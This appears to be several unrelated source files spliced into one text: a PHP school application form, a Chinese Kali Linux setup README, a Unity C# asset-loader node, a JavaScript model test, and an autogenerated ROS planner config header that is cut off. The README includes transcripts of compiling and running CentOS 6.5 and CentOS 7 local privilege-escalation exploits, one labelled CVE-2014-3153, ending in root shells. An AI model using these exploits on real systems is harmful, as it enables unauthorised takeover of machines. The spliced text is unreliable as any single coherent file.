print "<option value='" . trim($language) . "'>" . trim($language) . "</option>" ;
}
?>
</select>
<script type="text/javascript">
var languageChoice=new LiveValidation('languageChoice');
languageChoice.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<tr>
<td colspan=2 style='padding-top: 15px'>
<b><?php print _('Language Choice Experience') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Has the applicant studied the selected language before? If so, please describe the level and type of experience.') ?></i></span><br/>
<textarea name="languageChoiceExperience" id="languageChoiceExperience" rows=5 style="width:738px; margin: 5px 0px 0px 0px"></textarea>
<script type="text/javascript">
var languageChoiceExperience=new LiveValidation('languageChoiceExperience');
languageChoiceExperience.add(Validate.Presence);
</script>
</td>
</tr>
<?php
}
?>
<tr class='break'>
<td colspan=2>
<h3><?php print _('Scholarships') ?></h3>
<?php
//Get scholarships info
$scholarship=getSettingByScope($connection2, 'Application Form', 'scholarships') ;
if ($scholarship!="") {
print "<p>" ;
print $scholarship ;
print "</p>" ;
}
?>
</td>
</tr>
<tr>
<td>
<b><?php print _('Interest') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Indicate if you are interested in a scholarship.') ?></i></span><br/>
</td>
<td class="right">
<input type="radio" id="scholarshipInterest" name="scholarshipInterest" class="type" value="Y" /> Yes
<input checked type="radio" id="scholarshipInterest" name="scholarshipInterest" class="type" value="N" /> No
</td>
</tr>
<tr>
<td>
<b><?php print _('Required?') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Is a scholarship required for you to take up a place at the school?') ?></i></span><br/>
</td>
<td class="right">
<input type="radio" id="scholarshipRequired" name="scholarshipRequired" class="type" value="Y" /> Yes
<input checked type="radio" id="scholarshipRequired" name="scholarshipRequired" class="type" value="N" /> No
</td>
</tr>
<tr class='break'>
<td colspan=2>
<h3><?php print _('Payment') ?></h3>
</td>
</tr>
<script type="text/javascript">
/* Resource 1 Option Control */
$(document).ready(function(){
$("#companyNameRow").css("display","none");
$("#companyContactRow").css("display","none");
$("#companyAddressRow").css("display","none");
$("#companyEmailRow").css("display","none");
$("#companyCCFamilyRow").css("display","none");
$("#companyPhoneRow").css("display","none");
$("#companyAllRow").css("display","none");
$("#companyCategoriesRow").css("display","none");
$(".payment").click(function(){
if ($('input[name=payment]:checked').val()=="Family" ) {
$("#companyNameRow").css("display","none");
$("#companyContactRow").css("display","none");
$("#companyAddressRow").css("display","none");
$("#companyEmailRow").css("display","none");
$("#companyCCFamilyRow").css("display","none");
$("#companyPhoneRow").css("display","none");
$("#companyAllRow").css("display","none");
$("#companyCategoriesRow").css("display","none");
} else {
$("#companyNameRow").slideDown("fast", $("#companyNameRow").css("display","table-row"));
$("#companyContactRow").slideDown("fast", $("#companyContactRow").css("display","table-row"));
$("#companyAddressRow").slideDown("fast", $("#companyAddressRow").css("display","table-row"));
$("#companyEmailRow").slideDown("fast", $("#companyEmailRow").css("display","table-row"));
$("#companyCCFamilyRow").slideDown("fast", $("#companyCCFamilyRow").css("display","table-row"));
$("#companyPhoneRow").slideDown("fast", $("#companyPhoneRow").css("display","table-row"));
$("#companyAllRow").slideDown("fast", $("#companyAllRow").css("display","table-row"));
if ($('input[name=companyAll]:checked').val()=="N" ) {
$("#companyCategoriesRow").slideDown("fast", $("#companyCategoriesRow").css("display","table-row"));
}
}
});
$(".companyAll").click(function(){
if ($('input[name=companyAll]:checked').val()=="Y" ) {
$("#companyCategoriesRow").css("display","none");
} else {
$("#companyCategoriesRow").slideDown("fast", $("#companyCategoriesRow").css("display","table-row"));
}
});
});
</script>
<tr id="familyRow">
<td colspan=2>
<p><?php print _('If you choose family, future invoices will be sent according to your family\'s contact preferences, which can be changed at a later date by contacting the school. For example you may wish both parents to receive the invoice, or only one. Alternatively, if you choose Company, you can choose for all or only some fees to be covered by the specified company.') ?></p>
</td>
</tr>
<tr>
<td>
<b><?php print _('Send Future Invoices To') ?></b><br/>
</td>
<td class="right">
<input type="radio" name="payment" value="Family" class="payment" checked /> Family
<input type="radio" name="payment" value="Company" class="payment" /> Company
</td>
</tr>
<tr id="companyNameRow">
<td>
<b><?php print _('Company Name') ?></b><br/>
</td>
<td class="right">
<input name="companyName" id="companyName" maxlength=100 value="" type="text" style="width: 300px">
</td>
</tr>
<tr id="companyContactRow">
<td>
<b><?php print _('Company Contact Person') ?></b><br/>
</td>
<td class="right">
<input name="companyContact" id="companyContact" maxlength=100 value="" type="text" style="width: 300px">
</td>
</tr>
<tr id="companyAddressRow">
<td>
<b><?php print _('Company Address') ?></b><br/>
</td>
<td class="right">
<input name="companyAddress" id="companyAddress" maxlength=255 value="" type="text" style="width: 300px">
</td>
</tr>
<tr id="companyEmailRow">
<td>
<b><?php print _('Company Email') ?></b><br/>
</td>
<td class="right">
<input name="companyEmail" id="companyEmail" maxlength=255 value="" type="text" style="width: 300px">
<script type="text/javascript">
var companyEmail=new LiveValidation('companyEmail');
companyEmail.add(Validate.Email);
</script>
</td>
</tr>
<tr id="companyCCFamilyRow">
<td>
<b><?php print _('CC Family?') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Should the family be sent a copy of billing emails?') ?></i></span>
</td>
<td class="right">
<select name="companyCCFamily" id="companyCCFamily" style="width: 302px">
<option value="N" /> <?php print _('No') ?>
<option value="Y" /> <?php print _('Yes') ?>
</select>
</td>
</tr>
<tr id="companyPhoneRow">
<td>
<b><?php print _('Company Phone') ?></b><br/>
</td>
<td class="right">
<input name="companyPhone" id="companyPhone" maxlength=20 value="" type="text" style="width: 300px">
</td>
</tr>
<?php
try {
$dataCat=array();
$sqlCat="SELECT * FROM gibbonFinanceFeeCategory WHERE active='Y' AND NOT gibbonFinanceFeeCategoryID=1 ORDER BY name" ;
$resultCat=$connection2->prepare($sqlCat);
$resultCat->execute($dataCat);
}
catch(PDOException $e) { }
if ($resultCat->rowCount()<1) {
print "<input type=\"hidden\" name=\"companyAll\" value=\"Y\" class=\"companyAll\"/>" ;
}
else {
?>
<tr id="companyAllRow">
<td>
<b><?php print _('Company All?') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Should all items be billed to the specified company, or just some?') ?></i></span>
</td>
<td class="right">
<input type="radio" name="companyAll" value="Y" class="companyAll" checked /> <?php print _('All') ?>
<input type="radio" name="companyAll" value="N" class="companyAll" /> <?php print _('Selected') ?>
</td>
</tr>
<tr id="companyCategoriesRow">
<td>
<b><?php print _('Company Fee Categories') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('If the specified company is not paying all fees, which categories are they paying?') ?></i></span>
</td>
<td class="right">
<?php
while ($rowCat=$resultCat->fetch()) {
print $rowCat["name"] . " <input type='checkbox' name='gibbonFinanceFeeCategoryIDList[]' value='" . $rowCat["gibbonFinanceFeeCategoryID"] . "'/><br/>" ;
}
print _("Other") . " <input type='checkbox' name='gibbonFinanceFeeCategoryIDList[]' value='0001'/><br/>" ;
?>
</td>
</tr>
<?php
}
$requiredDocuments=getSettingByScope($connection2, "Application Form", "requiredDocuments") ;
$requiredDocumentsText=getSettingByScope($connection2, "Application Form", "requiredDocumentsText") ;
$requiredDocumentsCompulsory=getSettingByScope($connection2, "Application Form", "requiredDocumentsCompulsory") ;
if ($requiredDocuments!="" AND $requiredDocuments!=FALSE) {
?>
<tr class='break'>
<td colspan=2>
<h3><?php print _('Supporting Documents') ?></h3>
<?php
if ($requiredDocumentsText!="" OR $requiredDocumentsCompulsory!="") {
print "<p>" ;
print $requiredDocumentsText . " " ;
if ($requiredDocumentsCompulsory=="Y") {
print _("These documents must all be included before the application can be submitted.") ;
}
else {
print _("These documents are all required, but can be submitted separately to this form if preferred. Please note, however, that your application will be processed faster if the documents are included here.") ;
}
print "</p>" ;
}
?>
</td>
</tr>
<?php
//Get list of acceptable file extensions
try {
$dataExt=array();
$sqlExt="SELECT * FROM gibbonFileExtension" ;
$resultExt=$connection2->prepare($sqlExt);
$resultExt->execute($dataExt);
}
catch(PDOException $e) { }
$ext="" ;
while ($rowExt=$resultExt->fetch()) {
$ext=$ext . "'." . $rowExt["extension"] . "'," ;
}
$requiredDocumentsList=explode(",", $requiredDocuments) ;
$count=0 ;
foreach ($requiredDocumentsList AS $document) {
?>
<tr>
<td>
<b><?php print $document ; if ($requiredDocumentsCompulsory=="Y") { print " *" ; } ?></b><br/>
</td>
<td class="right">
<?php
print "<input type='file' name='file$count' id='file$count'><br/>" ;
print "<input type='hidden' name='fileName$count' id='filefileName$count' value='$document'>" ;
if ($requiredDocumentsCompulsory=="Y") {
print "<script type='text/javascript'>" ;
print "var file$count=new LiveValidation('file$count');" ;
print "file$count.add( Validate.Inclusion, { within: [" . $ext . "], failureMessage: 'Illegal file type!', partialMatch: true, caseSensitive: false } );" ;
print "file$count.add(Validate.Presence);" ;
print "</script>" ;
}
$count++ ;
?>
</td>
</tr>
<?php
}
?>
<tr>
<td colspan=2>
<?php print getMaxUpload() ; ?>
<input type="hidden" name="fileCount" value="<?php print $count ?>">
</td>
</tr>
<?php
}
?>
<tr class='break'>
<td colspan=2>
<h3><?php print _('Miscellaneous') ?></h3>
</td>
</tr>
<tr>
<td>
<b><?php print _('How Did You Hear About Us?') ?> *</b><br/>
</td>
<td class="right">
<?php
$howDidYouHearList=getSettingByScope($connection2, "Application Form", "howDidYouHear") ;
if ($howDidYouHearList=="") {
print "<input name='howDidYouHear' id='howDidYouHear' maxlength=30 value='" . $row["howDidYouHear"] . "' type='text' style='width: 300px'>" ;
}
else {
print "<select name='howDidYouHear' id='howDidYouHear' style='width: 302px'>" ;
print "<option value='Please select...'>" . _('Please select...') . "</option>" ;
$howDidYouHears=explode(",", $howDidYouHearList) ;
foreach ($howDidYouHears as $howDidYouHear) {
print "<option value='" . trim($howDidYouHear) . "'>" . trim($howDidYouHear) . "</option>" ;
}
print "</select>" ;
?>
<script type="text/javascript">
var howDidYouHear=new LiveValidation('howDidYouHear');
howDidYouHear.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
<?php
}
?>
</td>
</tr>
<script type="text/javascript">
$(document).ready(function(){
$("#howDidYouHear").change(function(){
if ($('#howDidYouHear option:selected').val()=="Please select..." ) {
$("#tellUsMoreRow").css("display","none");
}
else {
$("#tellUsMoreRow").slideDown("fast", $("#tellUsMoreRow").css("display","table-row"));
}
});
});
</script>
<tr id="tellUsMoreRow" style='display: none'>
<td>
<b><?php print _('Tell Us More') ?> </b><br/>
<span style="font-size: 90%"><i><?php print _('The name of a person or link to a website, etc.') ?></i></span>
</td>
<td class="right">
<input name="howDidYouHearMore" id="howDidYouHearMore" maxlength=255 value="" type="text" style="width: 300px">
</td>
</tr>
<?php
$privacySetting=getSettingByScope( $connection2, "User Admin", "privacy" ) ;
$privacyBlurb=getSettingByScope( $connection2, "User Admin", "privacyBlurb" ) ;
$privacyOptions=getSettingByScope( $connection2, "User Admin", "privacyOptions" ) ;
if ($privacySetting=="Y" AND $privacyBlurb!="" AND $privacyOptions!="") {
?>
<tr>
<td>
<b><?php print _('Privacy') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print htmlPrep($privacyBlurb) ?><br/>
</i></span>
</td>
<td class="right">
<?php
$options=explode(",",$privacyOptions) ;
foreach ($options AS $option) {
print $option . " <input type='checkbox' name='privacyOptions[]' value='" . htmlPrep($option) . "'/><br/>" ;
}
?>
</td>
</tr>
<?php
}
//Get agreement
$agreement=getSettingByScope($connection2, 'Application Form', 'agreement') ;
if ($agreement!="") {
print "<tr class='break'>" ;
print "<td colspan=2>" ;
print "<h3>" ;
print _("Agreement") ;
print "</h3>" ;
print "<p>" ;
print $agreement ;
print "</p>" ;
print "</td>" ;
print "</tr>" ;
print "<tr>" ;
print "<td>" ;
print "<b>" . _('Do you agree to the above?') . "</b><br/>" ;
print "</td>" ;
print "<td class='right'>" ;
print "Yes <input type='checkbox' name='agreement' id='agreement'>" ;
?>
<script type="text/javascript">
var agreement=new LiveValidation('agreement');
agreement.add( Validate.Acceptance );
</script>
<?php
print "</td>" ;
print "</tr>" ;
}
?>
<tr>
<td>
<span style="font-size: 90%"><i>* <?php print _("denotes a required field") ; ?></i></span>
</td>
<td class="right">
<input type="hidden" name="address" value="<?php print $_SESSION[$guid]["address"] ?>">
<input type="submit" value="<?php print _("Submit") ; ?>">
</td>
</tr>
</table>
</form>
<?php
//Get postscrript
$postscript=getSettingByScope($connection2, 'Application Form', 'postscript') ;
if ($postscript!="") {
print "<h2>" ;
print _("Further Information") ;
print "</h2>" ;
print "<p style='padding-bottom: 15px'>" ;
print $postscript ;
print "</p>" ;
}
}
?> | Java |
# 操作系统安装与配置
### Kali1.1a 操作系统配置
#### Contents
- [Install Kali](Kali1.1a/Install-kali.md) - 安装Kali系统
- [Configure Kali Apt Sources](Kali1.1a/Configure-Apt-sources.md) - 配置Kali Apt源
- [Install mate desktop to kali](Kali1.1a/Install-Mate-disktop.md) - 安装mate桌面系统
- [Install Mint Themes to Kali](Kali1.1a/Install-Mint-Themes.md) - 安装mint桌面主题
#### 自动安装脚本
自动安装工具[脚本](Kali1.1a/autogen.sh)不包含安装显卡驱动,显卡需要根据自己的情况去安装。
```sh
root@Hack:~/ # chmod +x autogen.sh && ./autogen.sh
```
#### CentOs6.5 local exploit
```sh
rush.q6e@Hack:~/ # gcc -O2 centos6.5.c
rush.q6e@Hack:~/ # ./a.out
2.6.37-3.x x86_64
[email protected] 2010
-sh-4.1# id
uid=0(root) gid=0(root) 组=0(root),
```
#### CentOs7 local exploit
```sh
rush.q6e@Hack:~/ # gcc -o exp centos7.c -lpthread
rush.q6e@Hack:~/ # ./exp
CVE-2014-3153 exploit by Chen Kaiqu([email protected])
Press RETURN after one second...
Checking whether exploitable..OK
Seaching good magic...
magic1=0xffff88001d06fc70 magic2=0xffff880004891c80
magic1=0xffff88002c8f5c70 magic2=0xffff88003cb59c80
Good magic found
Hacking...
ABRT has detected 1 problem(s). For more info run: abrt-cli list --since 1434357615
[root@Hack ~]#
```
| Java |
// uScript Action Node
// (C) 2011 Detox Studios LLC
using UnityEngine;
using System.Collections;
[NodePath("Actions/Assets")]
[NodeCopyright("Copyright 2011 by Detox Studios LLC")]
[NodeToolTip("Loads a PhysicMaterial")]
[NodeAuthor("Detox Studios LLC", "http://www.detoxstudios.com")]
[NodeHelp("http://docs.uscript.net/#3-Working_With_uScript/3.4-Nodes.htm")]
[FriendlyName("Load PhysicMaterial", "Loads a PhysicMaterial file from your Resources directory.")]
public class uScriptAct_LoadPhysicMaterial : uScriptLogic
{
public bool Out { get { return true; } }
public void In(
[FriendlyName("Asset Path", "The PhysicMaterial file to load. The supported file format is: \"physicMaterial\".")]
[AssetPathField(AssetType.PhysicMaterial)]
string name,
[FriendlyName("Loaded Asset", "The PhysicMaterial loaded from the specified file path.")]
out PhysicMaterial asset
)
{
asset = Resources.Load(name) as PhysicMaterial;
if ( null == asset )
{
uScriptDebug.Log( "Asset " + name + " couldn't be loaded, are you sure it's in a Resources folder?", uScriptDebug.Type.Warning );
}
}
#if UNITY_EDITOR
public override Hashtable EditorDragDrop( object o )
{
if ( typeof(PhysicMaterial).IsAssignableFrom( o.GetType() ) )
{
PhysicMaterial ac = (PhysicMaterial)o;
string path = UnityEditor.AssetDatabase.GetAssetPath( ac.GetInstanceID( ) );
int index = path.IndexOf( "Resources/" );
if ( index > 0 )
{
path = path.Substring( index + "Resources/".Length );
int dot = path.LastIndexOf( '.' );
if ( dot >= 0 ) path = path.Substring( 0, dot );
Hashtable hashtable = new Hashtable( );
hashtable[ "name" ] = path;
return hashtable;
}
}
return null;
}
#endif
} | Java |
/*global define*/
/*global test*/
/*global equal*/
define(['models/config'], function (Model) {
'use strict';
module('Config model');
test('Can be created with default values', function() {
var note = new Model();
equal(note.get('name'), '', 'For default config name is empty');
equal(note.get('value'), '', 'For default config value is empty');
});
test('Update attributes', function(){
var note = new Model();
note.set('name', 'new-config');
equal(note.get('name'), 'new-config');
equal(note.get('value'), '', 'For default config value is empty');
});
});
| Java |
//#line 2 "/opt/ros/indigo/share/dynamic_reconfigure/cmake/../templates/ConfigType.h.template"
// *********************************************************
//
// File autogenerated for the dwa_local_planner package
// by the dynamic_reconfigure package.
// Please do not edit.
//
// ********************************************************/
#ifndef __dwa_local_planner__DWAPLANNERCONFIG_H__
#define __dwa_local_planner__DWAPLANNERCONFIG_H__
#include <dynamic_reconfigure/config_tools.h>
#include <limits>
#include <ros/node_handle.h>
#include <dynamic_reconfigure/ConfigDescription.h>
#include <dynamic_reconfigure/ParamDescription.h>
#include <dynamic_reconfigure/Group.h>
#include <dynamic_reconfigure/config_init_mutex.h>
#include <boost/any.hpp>
namespace dwa_local_planner
{
class DWAPlannerConfigStatics;
class DWAPlannerConfig
{
public:
class AbstractParamDescription : public dynamic_reconfigure::ParamDescription
{
public:
AbstractParamDescription(std::string n, std::string t, uint32_t l,
std::string d, std::string e)
{
name = n;
type = t;
level = l;
description = d;
edit_method = e;
}
virtual void clamp(DWAPlannerConfig &config, const DWAPlannerConfig &max, const DWAPlannerConfig &min) const = 0;
virtual void calcLevel(uint32_t &level, const DWAPlannerConfig &config1, const DWAPlannerConfig &config2) const = 0;
virtual void fromServer(const ros::NodeHandle &nh, DWAPlannerConfig &config) const = 0;
virtual void toServer(const ros::NodeHandle &nh, const DWAPlannerConfig &config) const = 0;
virtual bool fromMessage(const dynamic_reconfigure::Config &msg, DWAPlannerConfig &config) const = 0;
virtual void toMessage(dynamic_reconfigure::Config &msg, const DWAPlannerConfig &config) const = 0;
virtual void getValue(const DWAPlannerConfig &config, boost::any &val) const = 0;
};
typedef boost::shared_ptr<AbstractParamDescription> AbstractParamDescriptionPtr;
typedef boost::shared_ptr<const AbstractParamDescription> AbstractParamDescriptionConstPtr;
template <class T>
class ParamDescription : public AbstractParamDescription
{
public:
ParamDescription(std::string name, std::string type, uint32_t level,
std::string description, std::string edit_method, T DWAPlannerConfig::* f) :
AbstractParamDescription(name, type, level, description, edit_method),
field(f)
{}
T (DWAPlannerConfig::* field);
virtual void clamp(DWAPlannerConfig &config, const DWAPlannerConfig &max, const DWAPlannerConfig &min) const
{
if (config.*field > max.*field)
config.*field = max.*field;
if (config.*field < min.*field)
config.*field = min.*field;
}
virtual void calcLevel(uint32_t &comb_level, const DWAPlannerConfig &config1, const DWAPlannerConfig &config2) const
{
if (config1.*field != config2.*field)
comb_level |= level;
}
virtual void fromServer(const ros::NodeHandle &nh, DWAPlannerConfig &config) const
{
nh.getParam(name, config.*field);
}
virtual void toServer(const ros::NodeHandle &nh, const DWAPlannerConfig &config) const
{
nh.setParam(name, config.*field);
}
virtual bool fromMessage(const dynamic_reconfigure::Config &msg, DWAPlannerConfig &config) const
{
return dynamic_reconfigure::ConfigTools::getParameter(msg, name, config.*field);
}
virtual void toMessage(dynamic_reconfigure::Config &msg, const DWAPlannerConfig &config) const
{
dynamic_reconfigure::ConfigTools::appendParameter(msg, name, config.*field);
}
virtual void getValue(const DWAPlannerConfig &config, boost::any &val) const
{
val = config.*field;
}
};
class AbstractGroupDescription : public dynamic_reconfigure::Group
{
public:
AbstractGroupDescription(std::string n, std::string t, int p, int i, bool s)
{
name = n;
type = t;
parent = p;
state = s;
id = i;
}
std::vector<AbstractParamDescriptionConstPtr> abstract_parameters;
bool state;
virtual void toMessage(dynamic_reconfigure::Config &msg, const boost::any &config) const = 0;
virtual bool fromMessage(const dynamic_reconfigure::Config &msg, boost::any &config) const =0;
virtual void updateParams(boost::any &cfg, DWAPlannerConfig &top) const= 0;
virtual void setInitialState(boost::any &cfg) const = 0;
void convertParams()
{
for(std::vector<AbstractParamDescriptionConstPtr>::const_iterator i = abstract_parameters.begin(); i != abstract_parameters.end(); ++i)
{
parameters.push_back(dynamic_reconfigure::ParamDescription(**i));
}
}
};
typedef boost::shared_ptr<AbstractGroupDescription> AbstractGroupDescriptionPtr;
typedef boost::shared_ptr<const AbstractGroupDescription> AbstractGroupDescriptionConstPtr;
template<class T, class PT>
class GroupDescription : public AbstractGroupDescription
{
public:
GroupDescription(std::string name, std::string type, int parent, int id, bool s, T PT::* f) : AbstractGroupDescription(name, type, parent, id, s), field(f)
{
}
GroupDescription(const GroupDescription<T, PT>& g): AbstractGroupDescription(g.name, g.type, g.parent, g.id, g.state), field(g.field), groups(g.groups)
{
parameters = g.parameters;
abstract_parameters = g.abstract_parameters;
}
virtual bool fromMessage(const dynamic_reconfigure::Config &msg, boost::any &cfg) const
{
PT* config = boost::any_cast<PT*>(cfg);
if(!dynamic_reconfigure::ConfigTools::getGroupState(msg, name, (*config).*field))
return false;
for(std::vector<AbstractGroupDescriptionConstPtr>::const_iterator i = groups.begin(); i != groups.end(); ++i)
{
boost::any n = &((*config).*field);
if(!(*i)->fromMessage(msg, n))
return false;
}
return true;
}
virtual void setInitialState(boost::any &cfg) const
{
PT* config = boost::any_cast<PT*>(cfg);
T* group = &((*config).*field);
group->state = state;
for(std::vector<AbstractGroupDescriptionConstPtr>::const_iterator i = groups.begin(); i != groups.end(); ++i)
{
boost::any n = boost::any(&((*config).*field));
(*i)->setInitialState(n);
}
}
virtual void updateParams(boost::any &cfg, DWAPlannerConfig &top) const
{
PT* config = boost::any_cast<PT*>(cfg);
T* f = &((*config).*field);
f->setParams(top, abstract_parameters);
for(std::vector<AbstractGroupDescriptionConstPtr>::const_iterator i = groups.begin(); i != groups.end(); ++i)
{
boost::any n = &((*config).*field);
(*i)->updateParams(n, top);
}
}
virtual void toMessage(dynamic_reconfigure::Config &msg, const boost::any &cfg) const
{
const PT config = boost::any_cast<PT>(cfg);
dynamic_reconfigure::ConfigTools::appendGroup<T>(msg, name, id, parent, config.*field);
for(std::vector<AbstractGroupDescriptionConstPtr>::const_iterator i = groups.begin(); i != groups.end(); ++i)
{
(*i)->toMessage(msg, config.*field);
}
}
T (PT::* field);
std::vector<DWAPlannerConfig::AbstractGroupDescriptionConstPtr> groups;
};
class DEFAULT
{
public:
DEFAULT()
{
state = true;
name = "Default";
}
void setParams(DWAPlannerConfig &config, const std::vector<AbstractParamDescriptionConstPtr> params)
{
for (std::vector<AbstractParamDescriptionConstPtr>::const_iterator _i = params.begin(); _i != params.end(); ++_i)
{
boost::any val;
(*_i)->getValue(config, val);
if("max_trans_vel"==(*_i)->name){max_trans_vel = boost::any_cast<double>(val);}
if("min_trans_vel"==(*_i)->name){min_trans_vel = boost::any_cast<double>(val);}
if("max_vel_x"==(*_i)->name){max_vel_x = boost::any_cast<double>(val);}
if("min_vel_x"==(*_i)->name){min_vel_x = boost::any_cast<double>(val);}
if("max_vel_y"==(*_i)->name){max_vel_y = boost::any_cast<double>(val);}
if("min_vel_y"==(*_i)->name){min_vel_y = boost::any_cast<double>(val);}
if("max_rot_vel"==(*_i)->name){max_rot_vel = boost::any_cast<double>(val);}
if("min_rot_vel"==(*_i)->name){min_rot_vel = boost::any_cast<double>(val);}
if("acc_lim_x"==(*_i)->name){acc_lim_x = boost::any_cast<double>(val);}
if("acc_lim_y"==(*_i)->name){acc_lim_y = boost::any_cast<double>(val);}
if("acc_lim_theta"==(*_i)->name){acc_lim_theta = boost::any_cast<double>(val);}
if("acc_limit_trans"==(*_i)->name){acc_limit_trans = boost::any_cast<double>(val);}
if("prune_plan"==(*_i)->name){prune_plan = boost::any_cast<bool>(val);}
if("xy_goal_tolerance"==(*_i)->name){xy_goal_tolerance = boost::any_cast<double>(val);}
if("yaw_goal_tolerance"==(*_i)->name){yaw_goal_tolerance = boost::any_cast<double>(val);}
if("trans_stopped_vel"==(*_i)->name){trans_stopped_vel = boost::any_cast<double>(val);}
if("rot_stopped_vel"==(*_i)->name){rot_stopped_vel = boost::any_cast<double>(val);}
if("sim_time"==(*_i)->name){sim_time = boost::any_cast<double>(val);}
if("sim_granularity"==(*_i)->name){sim_granularity = boost::any_cast<double>(val);}
if("angular_sim_granularity"==(*_i)->name){angular_sim_granularity = boost::any_cast<double>(val);}
if("path_distance_bias"==(*_i)->name){path_distance_bias = boost::any_cast<double>(val);}
if("goal_distance_bias"==(*_i)->name){goal_distance_bias = boost::any_cast<double>(val);}
if("occdist_scale"==(*_i)->name){occdist_scale = boost::any_cast<double>(val);}
if("stop_time_buffer"==(*_i)->name){stop_time_buffer = boost::any_cast<double>(val);}
if("oscillation_reset_dist"==(*_i)->name){oscillation_reset_dist = boost::any_cast<double>(val);}
if("oscillation_reset_angle"==(*_i)->name){oscillation_reset_angle = boost::any_cast<double>(val);}
if("forward_point_distance"==(*_i)->name){forward_point_distance = boost::any_cast<double>(val);}
if("scaling_speed"==(*_i)->name){scaling_speed = boost::any_cast<double>(val);}
if("max_scaling_factor"==(*_i)->name){max_scaling_factor = boost::any_cast<double>(val);}
if("vx_samples"==(*_i)->name){vx_samples = boost::any_cast<int>(val);}
if("vy_samples"==(*_i)->name){vy_samples = boost::any_cast<int>(val);}
if("vth_samples"==(*_i)->name){vth_samples = boost::any_cast<int>(val);}
if("use_dwa"==(*_i)->name){use_dwa = boost::any_cast<bool>(val);}
if("restore_defaults"==(*_i)->name){restore_defaults = boost::any_cast<bool>(val);}
}
}
double max_trans_vel;
double min_trans_vel;
double max_vel_x;
double min_vel_x;
double max_vel_y;
double min_vel_y;
double max_rot_vel;
double min_rot_vel;
double acc_lim_x;
double acc_lim_y;
double acc_lim_theta;
double acc_limit_trans;
bool prune_plan;
double xy_goal_tolerance;
double yaw_goal_tolerance;
double trans_stopped_vel;
double rot_stopped_vel;
double sim_time;
double sim_granularity;
double angular_sim_granularity;
double path_distance_bias;
double goal_distance_bias;
double occdist_scale;
double stop_time_buffer;
double oscillation_reset_dist;
double oscillation_reset_angle;
double forward_point_distance;
double scaling_speed;
double max_scaling_factor;
int vx_samples;
int vy_samples;
int vth_samples;
bool use_dwa;
bool restore_defaults;
bool state;
std::string name;
}groups;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double max_trans_vel;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double min_trans_vel;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double max_vel_x;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double min_vel_x;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double max_vel_y;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double min_vel_y;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double max_rot_vel;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double min_rot_vel;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double acc_lim_x;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double acc_lim_y;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double acc_lim_theta;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double acc_limit_trans;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
bool prune_plan;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double xy_goal_tolerance;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double yaw_goal_tolerance;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double trans_stopped_vel;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double rot_stopped_vel;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double sim_time;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double sim_granularity;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double angular_sim_granularity;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double path_distance_bias;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double goal_distance_bias;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double occdist_scale;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double stop_time_buffer;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double oscillation_reset_dist;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double oscillation_reset_angle;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double forward_point_distance;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double scaling_speed;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
double max_scaling_factor;
